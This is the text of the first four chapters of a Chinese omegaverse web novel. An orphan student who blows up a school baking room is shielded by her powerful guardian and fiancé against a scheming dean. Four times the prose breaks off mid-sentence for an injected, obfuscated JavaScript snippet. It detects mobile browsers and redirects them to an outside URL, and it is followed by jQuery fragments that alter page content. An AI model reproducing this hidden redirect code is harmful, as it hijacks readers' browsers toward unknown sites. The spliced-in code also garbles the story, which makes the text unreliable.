《O转A的我需要心理干预》 1. 第 1 章 艾德利斯学院。烘焙课。 嘣的一声,深灰色的蘑菇云爆炸一般笼罩了整间烘焙室。 “救命啊!” “天哪,这已经是这个月第三次了!” 蹦—— “快跑啊!” 半个小时之后,烘焙室里的大火被扑灭,穿着精致漂亮小裙子和彩色围裙的omega们全部都黑着一张脸,像是刚刚才从矿区挖矿回来似的。 他们幽怨的视线都看向正趴在水池边上洗脸的女孩子身上。 但很快,这些视线就被另一道不算强壮的身影给阻隔了。 望着对方浅金色的头发和标志性的贵族胸针,omega们愤愤地移开视线,凑在一起小声嘀咕。 “瑟诺斯为什么总是给她出头?” “他到底看上她什么了?” “天啊,我真是无法忍受了,再这样下去,我的课程迟早要挂掉。” “她到底是怎么做到的?” “好想把她赶出去。” 金色头发少年目光如炬,他抬起下巴,骄矜傲慢,“再让我听到你们在背后嚼舌根,你们谁都别想从这里顺利毕业!” “瑟诺斯,大家的担心不是没有道理的。”另一个少女从人群中走出,精致地像个洋娃娃似的,然而现在洋娃娃的头发被烧断了一半,看起来分外可怜与滑稽。 “这已经是她这个月第三次炸毁烘焙室了,老师要求的作品到现在都还没有完成。如果任由她继续待在烘焙室,那我们不是都会挂科吗?” “别找借口了,爱诺,”瑟诺斯冷笑一声,“分明是你根本就完不成作业,还赖在别人的头上。你照过镜子了吗,知道你现在是什么样子吗?” 爱诺的表情肉眼可见地狰狞,“瑟诺斯!” “爱诺!” “不要再吵了。”一道有些虚弱的声音从水池边上传来。 瑟诺斯的表情一变,他立刻转身,半跪着看过去,表情担忧,“池远青,你怎么样?” 作为此次烘焙室爆炸的始作俑者,池远青脸上的灰泥不比其他人少,所以她在这里洗了半天,但是实在是头晕,于是又差点一头栽进喷泉里面。 还好瑟诺斯及时拉住了她。 “没事。”池远青抬起头来,过于白皙的肤色在阳光照耀下显得近乎透明,湿漉漉的头发贴在脸颊上。 她甩了甩头,声音沙哑得可怜,“不要再吵了,这件事情确实是我的错。” 她也觉得很愧疚,但是—— 池远青深吸了一口气,她没有想到威力居然这么大,本来只是想要试试看的,结果却一发不可收拾。 她的嗓子现在还觉得火辣辣的,也不知道吸进去了多少有毒物质。 “当然是你的错!”爱诺眉毛都要竖起来了,她眼神冰冷,带着显而易见的厌恶与嫌弃,“看来你还有点自知之明。” “爱诺!”瑟诺斯瞪着她。 “怎么了,我说的还不对吗?”爱诺冷笑一声,“瑟诺斯,不要忘记了自己的身份,否则小心哪天被人利用了都不知道。” 在她看来,瑟诺斯简直就是一个天真的蠢货,所以她也毫不吝啬对于瑟诺斯的贬低。 瑟诺斯气得浑身发抖,“你以为你又是什么东西,在我面前叫嚣!” 算起来这两人还是表姐弟,家族之间都有往来,只不过两人从小就有些不对付,现在更是因为池远青达到了顶峰。 爱诺脸色沉了下来,如果愤怒有颜色的话,那她现在绝对是火红一片,“瑟诺斯!” “你们在吵什么?!”教务老师严厉的声音传来,“发生了这么大的事情,你们居然只顾着吵架吗?!” 瑟诺斯抿了抿唇,即便是心有不满,也不敢对着教务老师发泄。 爱诺和其他人也都安静了下来,没有人想要在教务老师面前留下一个不好的印象。 这么一来,还在低声咳嗽的池远青就显得格外突出。 “池远青,”教务老师冷冷地叫了她的名字,“跟我过来。” 瑟诺斯直接挡在了池远青的面前,“老师,至少让她先把自己的衣服弄干。” 教务老师很平静地说,“这件事情需要妥善且迅速地处理,我相信这么一会儿的功夫,她应该不至于生病吧。” 他像是有些不耐烦了,“瑟诺斯少爷,做错事情是要受到惩罚的,这并不是您一句话就可以抹掉的事实,您的父母亲应该也不希望看到您处理问题的方式。” 如果问瑟诺斯第一恐惧的是什么,那就是他的父母了。 这两位活跃在帝国政坛上的大人物,在家里简直就是两个阎王的存在,即便所有人都在宣扬omega需要爱护、omega不需要学习太多知识,但是他的父母坚持让瑟诺斯全方位地发展——但是很可惜,瑟诺斯没有那么大的能力,这也让他的父母对他分外失望。 作为瑟诺斯为数不多的好友,池远青对于这件事情也有所了解。 她拍了拍瑟诺斯的手臂,“没关系,不用担心我。” 但是紧接着她就打了一个喷嚏,脸色肉眼可见的苍白。 原本打算退让的瑟诺斯见此情形什么都顾不上了,“作为一名时刻宣扬爱护学生的老师,您难道连五分钟都不给一个可怜的学生吗?!” 池远青拢了拢自己的领口,垂下的睫毛颤巍巍的,“真的没关系。” “……!”瑟诺斯恶狠狠地盯着教务老师,“您太过分了!” 教务老师:“……” 他的脸色一瞬间的扭曲,但最终还是保持了自己的良好教养,“五分钟。五分钟之后去办公室找我。” “好的,老师。”池远青轻声回答。 瑟诺斯还想要再说什么,池远青及时拉住了他的手腕,“不要为我得罪教务老师。” 瑟诺斯看着教务老师远去的身影,“不用怕,我父母给这里捐了不少钱,他再厉害也不能对我怎么样。” 他是不能对你怎么样,但是他可以对我怎么样。池远青心里吐槽,但是脸上的表情却很温和。 “他毕竟是老师,”池远青松开手,“我要赶快回去换件衣服。” 瑟诺斯有些不爽,但是也不想池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470497|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远青为难,“我在楼里的休息室里有备用衣服,你穿我的吧,不然还要跑一趟。” “谢谢你,瑟诺斯。”池远青这回是真心的。 五分钟之后,池远青穿着干净整洁的衣服出现在了教务老师的办公室里。 教务老师姓李,叫李柏,年纪三十出头,长了张被严厉刻薄冲淡了美感的脸。 “池远青同学,”李柏的手指敲击着桌面,他抬着下巴,这让他看起来越发严厉,“如果我没有记错的话,上个星期我就已经给了你警告,但事实证明,你并没有放在心上。” “老师,我确实不是故意的。” “但是你给学院造成的损失却是实打实的,”李柏的眼神带着压迫感,“并且,你还导致了同学之间的不睦,池远青,同学们对你很有意见。” 前一个和后一个哪个更重要?答案不言而喻,李柏清楚,池远青也很清楚。 “这件事情,你必须要给学院一个交代,如果同学们不愿意和解的话,你会被退学,”李柏站起身来,“对了,我记得你的入学资料之中是孤儿,既然没有其他人能够处理你的事情,那么……” 他还没说完,池远青便打断了他的话,“我有一位绑定监护人。” “你的入学资料当中并没有提交这部分内容。”李柏眯了眯眼睛,表情有些讥讽,显然他对于池远青的话十分不信任。 池远青很熟悉这种轻视与不屑。 自从父母去世之后她已经见过了太多太多类似的眼神和表情——这根本伤不到她一点。 “是的,”池远青老实地回答,“因为不想麻烦他。不过我的法律资料上有他的名字,按照帝国法律,我的一切事关自身前途生命的重大事务都必须经过对方。” 池远青眨了下眼睛,“老师,是这样吗?” 是这样吗?是这样的。并且这条法律人人熟知。 李柏觉得有些烦躁,但是转念一想,池远青这样几乎算是毫无背景的身份就算是有个绑定监护人又能怎么样呢? 重要的是——他要解决池远青这个麻烦,免得让那些尊贵的家长们觉得艾德利斯学院的格调被拉低、孩子们被带坏。 尽管李柏觉得那些孩子根本无药可救,但这些对他来说都不重要,毕竟他又不是什么人类灵魂工程师,他只负责把这些学生领进来,四年时间一到,再将他们安稳送出去。 但是这条法律确实有些难以忽略。 因为战争,帝国内近十年来多了不少孤儿,为了保证这些孤儿可以顺利长大,他们会被绑定一位监护人,不过很多监护人都只是做做样子,付一些钱,他们就能够得到帝国的某些奖赏。 李柏重新坐了下来,他并没有立刻回答池远青的问题,而是装模作样地喝了口咖啡。 “既然如此,那就叫他过来一趟吧。我想,你也需要帮忙收拾东西。” 池远青点点头,像是什么都没有察觉到一般,“谢谢老师。” 李柏讥讽地扯了下嘴角,“你不惹麻烦,我就很感谢你了。” “你的那位绑定监护人,叫什么名字?” 2. 第 2 章 池远青支支吾吾的,李柏心里更加得不耐烦,他敲了敲桌子,“行了,不管你的监护人是谁,这件事情都没有商量的余地。” 说着他让池远青去办公室外面联系人,自己则拿着终端开始和各路的权贵们发送电子邀请函。 这周日是艾德利斯学院建校百年庆典,这场庆典花费了李柏百分之三百的心思,所有的流程都已经准备完毕,接下来就是邀请帝国权贵们参加了。 发完电子邀请函之后,李柏的手指滑动名单,在里面圈出来几个名字,心想这些人需要再亲自登门拜访一遍。 处理完宾客事宜之后,办公室的门被敲响,还没等李柏开口,办公室的大门就已经被拧开了。 池远青探头进来,表情有些不安,“老师。” 李柏眉头拧在一起,“怎么了,你的那位监护人不肯来吗?” 他的语气有些嘲讽,心想对方就算不想来也情有可原,毕竟如果他有这么一个孩子的话,他也会觉得丢脸,进而推拒掉这个会让他更丢脸的见面。 “不是的,”池远青走了进来,脚步轻快,“只是外面太热了,您的办公室更凉快。” 她像是对于李柏的恶意与嫌恶毫无所觉,径直走了进来,随即坐在了她先前一直眼馋的宽敞沙发上。 真会享受啊。池远青轻轻勾起嘴角,才注意到李柏的脸色似的,神情有些惶恐,“老师,怎么了吗?” “……”李柏看着对方屁股底下的沙发,一眼又一眼,最后还是忍了下来。 时间一点一滴地过去,而池远青口中的“监护人”始终没有出现。 李柏的耐心告罄,他抬起头,发现本来应该规规矩矩地坐在沙发上的池远青不知道什么时候居然睡着了。 她歪歪斜斜地靠在沙发上,整个人显然已经进入了深度睡眠。 砰——李柏手中的文件砸在桌面上,脸上像是挂了一层寒霜似的。 池远青顿时被惊醒,身体一颤,转过头就对上了李柏的视线。 她坐直了一些,真诚道歉,“抱歉,老师。您这里实在太舒适了。” “我不想听你说这些有的没的,”李柏声音冷厉,他指了指自己的手臂,“我只想知道,你到底有没有监护人,如果有,那他到底什么时候可以来?” “我的时间很宝贵,不想跟你浪费在这里。” 李柏说着便站了起来。 他是个beta,但是个头很高,因为常年健身也有些壮实,于是他的威胁也很有几分分量。 “多宝贵?”清凌凌的声音传来。 “多宝贵我难道还要跟你——”李柏的话戛然而止。 池远青朝他弯了弯唇角,看起来很雀跃,“他来了。” 站在门口的青年黑发黑瞳,穿着一身繁复的军式礼服,金色绶带繁复地挂在胸前,腰带勒出劲瘦的腰身。 至于那张脸完全是造物者的炫技杰作,无一不精致漂亮。 他的手里拎着军帽,倚靠在墙边,嘴角带着戏谑的笑容,“艾德利斯学院的教务老师?” 青年迈入宽敞的办公室,一脚将身后的门踢上,他低头看了眼办公桌上的立牌,“……李柏。” 李柏深吸了一口气,“您就是池远青的监护人吗?怎么称呼?” 监护人吗?林寂寒回头看了眼池远青。 被对方的视线扫过,池远青挺直身子,朝他微微颔首——没错,监护人。 另一边的李柏则是有些忐忑。 虽然他没有见过这个年轻人,但是他见过这身制式服装,出自于艾德利斯学院教学方向完全相反的帝国直属的第一中央军校。 第一中央军校是整个帝国最顶尖的军校,能够进入军校的要么家世顶级,要么能力顶级,又或者二者皆有。 但无论是哪一种,都说明眼前的年轻人不是个简单角色。 更何况,他身上穿的这一套礼服,李柏上一次见到还是在皇子殿下的毕业典礼上。 跟池远青在极短的时间串好供的林寂寒把头转了回来,“我叫林寂寒。” 他拉开李柏面前的椅子坐了下来,“李老师也别站着,请坐。” 池远青没有靠近,而是乖巧地坐在沙发上,只是竖起了耳朵听着那边的对话。 “林寂寒?”李柏下意识地重复了一遍这个名字,总觉得有些耳熟。 迎着林寂寒的目光,他刚要坐下,下一刻就因为想到了什么猛地弹了起来。 这个动作一下子让他屁股底下的椅子翻倒在地。 林寂寒微微挑眉,他歪了歪头,那副姿态与池远青如出一辙。 李柏打了个冷战。 他之前就一直觉得池远青这副姿态让人讨厌,现在看来都是受到别人的影响,但是问题就在于李柏还真不敢得罪这个年轻人。 “原来是林家的先生,”李柏笑眯眯地朝他伸出手,“我这记性,看您第一眼居然没有想起来。” 林寂寒是帝国林绍将军的独子,他的母亲阿西娜也出身大家族,是帝国名声卓著的研究员。 相比起这两位始终活在公众视野下的大人物,他们的儿子就要低调得多。 当初林寂寒的照片被刊登在星网上的时候,还引起了不小的讨论。但很快这些照片便迅速消失不见。 李柏就算是把脑袋挖空了翻一翻,也无法想到这样的人居然和池远青有关系。 池远青恰到好处地开口,“李老师,你们认识?” 李柏有些怨恨池远青不会看人脸色,但还是谦逊地回答,“是我单方面认识林小先生。” 池远青看李柏这幅谄媚的样子,一时间觉得好笑,她探头探脑的,“李老师,小心点,别把腰弯断了……啊,是这样,我记得您有腰间盘突出。” 李柏现在就算是个傻子也回过神来了。 他以为池远青是个没背景没本事的普通人,结果被池远青摆了一道,现在被两个人瞪着眼看着却又不能发作。 李柏脸上的笑容都有些僵硬了,“那我要谢谢池同学的关心了。” “不客气。”池远青回答。 林寂寒听了会儿,他抬起手终于开始说正事,“李老师先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470498|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐吧。学校里的事情我有所耳闻,这次过来就是为了解决这些麻烦的。” “不算麻烦,”李柏立刻回答,“烘焙室虽然损毁,但是池同学也跟我解释了,她并不是故意的,池同学,你也是这么认为的吧?” 林寂寒翘着二郎腿,英俊的面容在灯光下格外晃目,他双手交叠放在腹部,“她虽然不是故意的,但是造成的损失却是实打实的,所以我愿意承担学校的损失,并为学校设立相关的修缮基金以防万一。” 以防万一的意思是池远青以后还要继续炸烘焙室吗? 李柏的脸一瞬间的扭曲,打量着林寂寒,觉得应该没有那么简单。 他开始忐忑不安起来,也觉得懊悔,早知道他对池远青就不那么苛刻了。 可换句话说,如果不是池远青有意看他笑话,他怎么可能这么被动? “不过——” 转折终于来了。 林寂寒的嘴角依旧勾着,但是那双锐利的双眼却紧紧追着李柏,“李老师,我对于贵学校处理学生的方式极为不满。作为帝国的优秀学府,教育学生应该是你们最重要的职责,说一视同仁那是笑话,但是以此为要挟,要一个努力求学的学子退学,仅仅是为了平息某些学生的私人怨恨,我觉得还是有些太过分了。” 他的话锋急转直下,连李柏都没有反应过来。 李柏下意识地站起身,“林先生,这件事情不是您想的那样,我们其实……” “我有眼睛,会自己去看,也有耳朵,会自己去听。” 林寂寒站起身来,他一手抓住池远青的手腕,将人拉到自己的身侧,保护意味明显。 “关于您对我家孩子的恐吓行为,我会保留追究的权利。”林寂寒戴上自己的军帽,“除非,我看到您足够有诚意的歉意。” 说完之后,他便大步带着池远青离开了。 完了。李柏踉跄了下,知道自己的职业生涯怕是要到头了。 迈出办公室的时候,池远青的手腕就被松开了,刚才还在她身边大放厥词的林寂寒把手插回到口袋里。 “池远青,”林寂寒皮笑肉不笑地看着她,“先上车。” 等到了相对安全的密闭空间之后,林寂寒并没有着急启动,而是放平座椅躺了下来。 “我排练了三整天的毕业典礼,还没来得及坐下就被叫来处理你的破事,”林寂寒闭着眼睛,声音幽幽的,“你能不能告诉我,你怎么这么能闯祸?” 他是真的好奇,“你是用什么把烘焙室炸掉的?” 池远青也学着他的样子放平座椅,平躺着闭上眼睛,“不小心,不小心。” 她把自己在烘焙室的经历大致讲了一遍,林寂寒听完之后目光复杂,然后对她说,“你行,你真是个人物。” 条件再简陋,她也能挣扎着起来做个炸弹,把简陋的环境彻底变成限量报废款。 休息了一会儿之后,林寂寒调整好座椅坐了起来,手握上方向盘。 “去哪儿?”池远青警惕地睁开眼睛。 “回家。让你气得头疼。” 3. 第 3 章 林寂寒的车开得飞快,路两边的彩色灯光晃得池远青眼睛都要瞎了。 她捂住自己怦怦直跳的心脏,试图唤醒林寂寒的良心,“你就不能稳重一点吗?” “你说什么?”林寂寒抬高了声音。 池远青闭了闭眼睛,随即一只手抓着安全带,用出了全身的力气,“我——问——你——不能慢点开吗?!” 林寂寒扫了她一眼,“不能。” 然而虽然这么说,车速却确确实实地慢了下来,至少不像最开始那样让人恶心了。 等到车子停下来的时候,池远青感觉腿都有些软了。 不过还没等她腿软下去,就被林寂寒一只手抓住了胳膊。 “你怎么回事,”林寂寒上下扫视她,“坐个车就这么弱?” 池远青皮笑肉不笑,“你不弱,你脸白得跟鬼一样。” “我跟你不一样,我这叫天生丽质。”林寂寒松开了池远青的胳膊,好整以暇地对她说。 “一个即将分化为Alpha的人天生丽质有什么用,还不如天生神力。”池远青反唇相讥。 每个人到十八岁的时候都会进行性别分化,但是也有些人会因为一些特殊情况而推迟。 林寂寒就遇到了特殊情况。 池远青还记得第一次见林寂寒的时候,他咳得惊天动地,脸色白得好像一仰头就会晕过去似的。 这种情况从林寂寒十五岁的时候好转,现在他二十一岁了,已经看不太出来原来病恹恹的样子。 虽然分化迟到三年,但是没有人怀疑林寂寒不会分化为Alpha,因为他实在聪慧又强大,不然也不会被选为军校的优秀毕业生。 “羡慕我?”林寂寒勾唇问她,而后大步向前走去,“羡慕我也没用,一个从小就被鉴定为Omega的小O预备役。” “……”池远青深吸口气,又吐出来。 “但是有的时候我真怀疑,你会成为Omega吗,”林寂寒自说自话,想到这里不禁笑出声音来,“就凭你的厨艺,我相信不会有哪个Alpha可以咽得下去。” “是啊,改天我一定下厨做给我的未婚夫试试。”池远青幽怨的声音从身后传来。 林寂寒的脚步顿了顿,表情变得有些微妙。 “是不是忘记了,我们之间还有另外一层关系在,未婚夫?”池远青的手在林寂寒的肩膀上拍了拍,“所以不要总是嘲讽我,谁知道都会进谁的肚子呢?” 说完之后,她越过林寂寒,走向面前华丽的别墅。 只不过刚走出去两步,她就走不动了——林寂寒拉住了她的衣领,眯着眼睛观察了下。 “你穿的是谁的衣服?”林寂寒问。 “……同学的。” 林寂寒松开了手,“回去换了,谁知道外人有没有什么皮肤疾病,回头又要求我去找医生打针。” “……”池远青甩开头,头也不回地往前走。 别墅里很冷清,整个一楼也只有一个管家和一个保姆在。 “池小姐,你回来了。”管家向她问好,转头又看向后进来的林寂寒,“少爷。” 林寂寒颔首,“我要好好睡一觉,不要让任何没眼力见的人来打扰我。” “没眼力见”的池远青在门口换鞋,听到这话头也不抬,“想多了,我不会靠近你的卧室一丁点。” “说到做到。” 然而等到林寂寒上了楼之后,池远青就蹑手蹑脚地要跟上去。 她已经观察了林寂寒好几次了,每个月总有那么几天,他会异常疲惫,睡眠增多。 按照她生理课上所学的知识,这应该是Alpha的那几天,但是林寂寒不是还没有分化吗? 好奇心促使池远青几乎立刻忘掉了自己的承诺。 但是没走几步她就被管家拦住了,“晚饭已经准备好了,还是先吃饭吧。” 池远青脸色不变,“其实我只是想上楼换套衣服。” 管家一脸“你看我相信你吗”的表情。 池远青不解,“你难道就不好奇他在做什么吗,我是绝对不相信他在睡觉的。” 管家很是温和地拦着她,“我不好奇,少爷说他在做什么,那就是在做什么,池小姐也不要好奇了。” 看出来对方绝对不会退让,池远青干脆说,“那我也得上去换衣服,这个穿着不舒服。” 瑟诺斯的衣服品质当然不错,但是也不知道是不是受到林寂寒的影响,她总觉得后颈的地方有些痒。 管家一听,探过头去看了下,“确实有点红了,可能是材质过敏,那就去一楼换个衣服吧。” “……为什么还是去一楼?” “少爷把你的东西都搬到一楼了,交代你以后就住在一楼了。”管家有些怜悯地看着她,“其实一楼也很不错,就是离少爷远了点。” 请不要用这种怜爱的目光看着她,可是这个时候如果再问显得她好像一定要离林寂寒近一些似的。 算了,看在林寂寒今天出了血的份儿上。 “…一楼就一楼吧。”池远青说。 然而刚进入自己的新卧室,池远青就走到窗户面前将其一把拉开,然后把碍事的裙子塞在裤腰里就开始往上面爬。 新卧室的位置在林寂寒卧室的斜对角,有些不大方便,但是总而言之攀爬过去难度不大。 然而池远青还没摸到窗台,一截蓝紫色的窗帘就从打开的窗户飞了出来,糊了池远青满脸。 “你就这么喜欢爬窗户?”林寂寒的上半身探出去一点,一垂眸看到了池远青被掖进去的裙子,“……池远青,你能像个Omega一样吗?” 眼见着被发现了,池远青一松手跳到了地面上,她转动了下手腕和脚腕,没有什么疼痛和异样。 ——不是她的错觉,她的身体素质这段时间好了不少。 听到林寂寒的话,她翻了个白眼,“我怎么不像omega了?” “没有哪个omega会把裙子掖进腰带里!那是裙子!不是裤子!” “我穿裤子了!”池远青反驳。 林寂寒手肘压在窗台上,“我真是服气了,”他隔空点了点池远青的脸,“我今天晚上就在窗台安电线,你碰一下,直接把你电成黑色炸鸡。” 这个比喻让池远青觉得好笑,又觉得恶毒。 居然有人会用炸鸡来威胁另一个人。池远青真的被他威胁到了。 更重要的是,她知道林寂寒从不说废话,他说安那就一定安。 池远青把裙子放下来,“那好吧,不看就不看。” 林寂寒看了她一会儿,回到了房间中砰的一声把窗户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470499|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关上了。 池远青回到一楼的房间,换好衣服出去之后看见了等待她吃饭的管家。 对方似乎早就预料到了这个结果,什么也没说,只是默默地给她递了一杯柠檬水,“去去火。” “……管家叔叔,你绝对是我在这个冰冷的别墅里最重要的存在了。” 一个好的管家比一块优质上等核晶还难得。 管家微微一笑,“很多人都这么说。” 简而言之,他对池远青的奉承毫无触动。 第二天早上,池远青早早起床,然后思考今天到底应该是去上学还是应该宅在家里。 就在她思考的时候,别墅的门铃响了起来,不久,脸色憔悴的李柏和一个打扮干练的女omega走了进来。 “林寂寒在哪里?”女人进来之后像是没有看见池远青一样问。 管家站在楼梯口前,“少爷昨晚回来得晚,所以现在还没有醒。夫人,您吃早餐了吗,这里……” “不要说这些废话,上去把他叫下来。” 眼前的女人是林寂寒的母亲,也是帝国著名的研究员,阿西娜。 管家见状也不好再说什么,给了池远青一个自求多福的眼神之后就上了楼。 早在阿西娜出现的时候,池远青就有点想要逃了。 天知道,阿西娜向来不喜欢池远青,当初这份婚约定下来的时候阿西娜对她就很有意见。 后来池远青的父母意外离世,林寂寒又坚持把她留下来,她就彻底成为了阿西娜的眼中钉,好像多看她一眼就会被污染似的。 阿西娜坐在了沙发上,李柏就站在一边。 “池同学,”李柏率先开口,“对于昨天给你造成的困扰,我很抱歉,作为教师,我确实不该这么轻易地向你问责。” 他的脸上带着讨好的笑容,“希望能够获取你的谅解。” “为表达歉意,我还带了礼物,”李柏拿出路上买来的蛋糕放在了面前的茶几上,做足了姿态,“听说你很喜欢这个口味,我今天早上特意买来的。” 池远青看了眼李柏,又看向阿西娜,不知道今天这一出到底是什么意思。 她朝李柏笑了笑,“没关系的李老师,我很喜欢你送的蛋糕。” 阿西娜像是终于受够了,“那这件事情就到此为止。” 李柏听到这句话之后终于松了口气,也不枉费他失眠整整一个晚上最终找导师攀上的关系,不然他的这份工作可能真的就要不保了。 池远青不置可否,毕竟她在阿西娜面前可没什么话语权。 这个时候林寂寒也下来了,他随手套了件衬衣,脸上冰冷不耐的神情像是阿西娜的翻版。 阿西娜看了眼池远青,“送人离开。” 她有话要单独和自己的孩子讲。 池远青终于能够离开这里了,于是兴致勃勃地拎上蛋糕,催促着李柏,“老师,我送你出门。” 关门那一刻,屋内传来重物砸在地上的沉闷声。 池远青的手平稳地关闭大门,她看了看手里的蛋糕,问李柏,“你要吃吗?” 还没等李柏回答,她又说,“算了,送给我的你肯定不好意思吃。” 池远青又露出那种李柏常见的、颇有迷惑性的老实笑容,“李老师,我明天可以继续上学了吧?” 4. 第 4 章 “当然可以,当然可以。”或许是池远青的迷惑性太强,又或许是眼前危机的解除,李柏松了一口气之余,心里的那股不满又涌了上来。 李柏轻轻叹了口气,“池同学,这件事情确实是我的错,我也愿意为此向你道歉,幸好你原谅了我。不过——” 池远青微微挑眉,垂眸回想了自己刚才的表现,究竟哪里表达了她的原谅。 “这件事情你也有一点小小的责任,”李柏的脊背挺直了一些,“你想啊,烘焙室爆炸这种事情屡次发生,其他同学有意见是正常的,虽然我能理解你的难处,但是你也要体会老师的难处。” 他的眉头紧锁,一副苦大仇深又谆谆教诲的模样,如果不是亲眼见证过对方变脸,池远青都要被他感动了。 “老师,”池远青朝他笑了笑,“如果我没有记错的话,前几次烘焙室好像不是我炸的。” 只是恰巧,不,或许该说倒霉,她那几次没有逃课,以至于成为了背锅的不二人选。 李柏的表情有些凝滞,但眼珠一转,又继续说道,“虽然确实没有证据证明是你,可是……好吧,这件事情老师可以不算在你的头上。” 好为难,好可怜。池远青很想要伸出手给他鼓掌,这种影帝级别的天赋实在不该浪费在一个小小的艾德利斯学院之内。 证据在某些时刻是无关紧要的,尤其是当它被刻意变为不存在的东西的时候。 李柏的脸皮之厚真是让她叹为观止。 然而李柏似乎还不打算就此停止,阿西娜的出现让他找到了能够理所当然说出这些话的勇气。 更何况他私底下找人打听了下池远青和林寂寒之间的关系,虽然得到的消息很模糊,但是有一点是很确定的,那就是林寂寒的母亲阿西娜并不那么喜欢池远青,或许她本人更想将池远青赶出这里,只是碍于儿子的面子而已。 这简直与李柏的想法不谋而合。 “池同学,”披着人皮的怪物朝她露出笑容,“老师和你一起进步,一起改正错误好不好?” 最好将错误彻底修正,抹去,直至恢复原本的平静。 “老师,”池远青的笑意不达眼底,显得有些阴森,“您心态真好。” “什么……” 别墅的大门在此刻被推开,阿西娜脸色难看地走出来,高跟鞋踩在地面上发出沉闷的响声,听得人心脏病都要犯了。 李柏一见她,连池远青都顾不上了:“阿西娜夫人,您……” 然而与来时的态度截然不同——不,或者说阿西娜本来也没有将他放在眼里。 她像是从一团空气面前走过,没有给予空气一个眼神。 李柏被这一出弄得思维混乱,不知道发生了什么样的事情。 半分钟后,阿西娜的车在别墅门口停下,车窗落下,阿西娜面无表情地盯着前方,“回去转告张校长,他触怒了我的底线,所以我实在很难完成他的嘱托。” 李柏瞪大了眼睛,不敢相信地看着面前的女人,“阿西娜教授,您的意思是……” 阿西娜并没有耐心跟他对话,而是用一种平淡得像是在看一株植物一样的眼神看着池远青。 “还有半年你就成年了。” 留下这句奇奇怪怪的话之后,车窗关闭,阿西娜的车离开了这里。 身后传来一声口哨声,池远青转过头,看见林寂寒抱着胳膊倚靠在门口。 他的脸上带着熟悉的笑容,但仔细看这笑容又是冷的,没有感情的,“李老师,看来你没有把我的当一回事,这让我感到非常的痛心与失望。作为对我的补偿,希望你可以付出一些小小的代价。” 他顿了顿,“你的终端响了。” 李柏才回过神来,他急忙点开终端,得到的却是自己的所有权限都被锁定的通知,以及那位帮了他大忙的校长发来的暂停职务的消息。 “怎么可能?”李柏怀疑自己是在做梦,不然怎么可能会被停职调查? 所有的转折都是在林寂寒出现之后发生的。 然而等到他想要问清楚的时候,面前的两个人早已经消失不见,而别墅的大门再次紧闭,站在门口的只有一个中年管家。 中年管家礼貌颔首,“请问您能离开这里吗?我想,您不会想要我的辅助的。” 客厅并不如池远青所想的一片狼藉。 “怎么了,看不到我们大打出手感觉很失望?”林寂寒注意到池远青的暗中观察。 “那里,”池远青却指着一个不起眼的角落,“原来有一个花瓶,白色的。” 但是现在却变成了粉色,而且里面居然插了一枝林寂寒不喜欢的百合。 “是吗?”林寂寒看过去,他莫名笑了下,“我从来没有关注过那个花瓶是什么颜色,也没有关注过里面有没有鲜花。” 难怪会被池远青发现。 池远青沉默两秒,“你受伤了吗?” “我怎么可能受伤?”林寂寒用一种奇异的目光看着她,他敲了下池远青的额头,“今天照常上课,十分钟之后我送你过去。” “还是找司机吧。” “司机请假了,她前夫结婚,她要去吊唁,哦,不,是祝贺。” * “池远青,你还好吗?”得知池远青回到学院之后,瑟诺斯第一时间就去了她的寝室。 正在收拾东西的池远青直起腰,一边擦手一边说,“我没事的,不用担心。” “太好了,”瑟诺斯扑到她的怀里,“我非常担心李柏会为难你,不过现在我们不用担心了。” 他抬起头来,眼睛亮晶晶的,“你猜猜,发生了什么?” 池远青后退了半步,把手里的消毒湿巾扔进垃圾桶,“发生了什么?” 见她不知道,瑟诺斯很高兴也很兴奋地说,“李柏被停职调查了!原因是他收受贿赂,侵吞学院资产,如果查实的话,他不仅会被辞退,并且还要接受帝国法庭的审判!” 说到这里,瑟诺斯还有些感慨,“我只是觉得他不是个好人,但没有想到他还做了这么多坏事。这回好了,他走了,也不会有人再针对你了。” “确实是个好消息。”池远青附和他,“瑟诺斯,这是我今天听到的最好的消息。” 她把自己的东西收拾好,瑟诺斯就坐在一边看她忙碌。 每当他提出想要帮忙的时候,总是被池远青拒绝。 瑟诺斯有些沮丧,“你是不是觉得我做不好,我在整理家务这一门课上可是满分。” “还有这门课?”池远青惊讶。 “当然有,”瑟诺斯的表情更惊讶,“你难道从来没有选修过吗?” 池远青有些心虚地摸了摸自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 